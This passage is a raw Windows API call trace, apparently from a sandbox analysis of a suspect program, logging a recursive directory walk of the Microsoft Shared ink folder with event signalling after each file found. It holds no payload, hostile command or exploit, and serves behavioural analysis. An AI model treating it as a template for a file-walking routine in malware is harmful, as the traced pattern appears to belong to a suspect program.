ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0166.049] SetEvent (hEvent=0x178) returned 1 [0166.049] ResetEvent (hEvent=0x17c) returned 1 [0166.051] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0166.051] SetEvent (hEvent=0x178) returned 1 [0166.051] ResetEvent (hEvent=0x17c) returned 1 [0166.054] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0166.054] SetEvent (hEvent=0x178) returned 1 [0166.055] ResetEvent (hEvent=0x17c) returned 1 [0166.056] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0166.056] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0166.056] GetProcessHeap () returned 0x6a0000 [0166.056] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0166.057] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0166.057] SetEvent (hEvent=0x178) returned 1 [0166.057] ResetEvent (hEvent=0x17c) returned 1 [0166.059] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0166.059] GetProcessHeap () returned 0x6a0000 [0166.059] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0166.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0166.060] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.060] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0166.060] SetEvent (hEvent=0x178) returned 1 [0166.060] ResetEvent (hEvent=0x17c) returned 1 [0166.063] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0166.063] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0166.063] GetProcessHeap () returned 0x6a0000 [0166.063] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0166.063] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0166.063] SetEvent (hEvent=0x178) returned 1 [0166.063] ResetEvent (hEvent=0x17c) returned 1 [0166.065] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0166.065] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0166.065] GetProcessHeap () returned 0x6a0000 [0166.065] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0166.067] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0166.067] GetProcessHeap () returned 0x6a0000 [0166.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0166.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0166.068] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.068] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0166.068] SetEvent (hEvent=0x178) returned 1 [0166.069] ResetEvent (hEvent=0x17c) returned 1 [0166.070] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0166.070] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0166.071] GetProcessHeap () returned 0x6a0000 [0166.071] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0166.071] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0166.071] GetProcessHeap () returned 0x6a0000 [0166.071] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0166.071] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0166.071] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.071] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0166.071] SetEvent (hEvent=0x178) returned 1 [0166.071] ResetEvent (hEvent=0x17c) returned 1 [0166.073] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0166.073] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0166.073] GetProcessHeap () returned 0x6a0000 [0166.073] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0166.073] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0166.073] GetProcessHeap () returned 0x6a0000 [0166.073] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0166.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0166.074] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.074] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0166.074] SetEvent (hEvent=0x178) returned 1 [0166.121] ResetEvent (hEvent=0x17c) returned 1 [0166.130] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0166.135] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0166.136] GetProcessHeap () returned 0x6a0000 [0166.137] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0166.146] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0166.147] SetEvent (hEvent=0x178) returned 1 [0166.148] ResetEvent (hEvent=0x17c) returned 1 [0166.163] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0166.163] GetProcessHeap () returned 0x6a0000 [0166.163] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0166.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0166.168] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.172] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0166.172] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0166.174] GetProcessHeap () returned 0x6a0000 [0166.174] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0166.174] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0166.174] SetEvent (hEvent=0x178) returned 1 [0166.174] ResetEvent (hEvent=0x17c) returned 1 [0166.182] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0166.184] SetEvent (hEvent=0x178) returned 1 [0166.184] ResetEvent (hEvent=0x17c) returned 1 [0166.185] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0166.185] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0166.185] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0166.185] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0166.185] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0166.185] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0166.186] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: 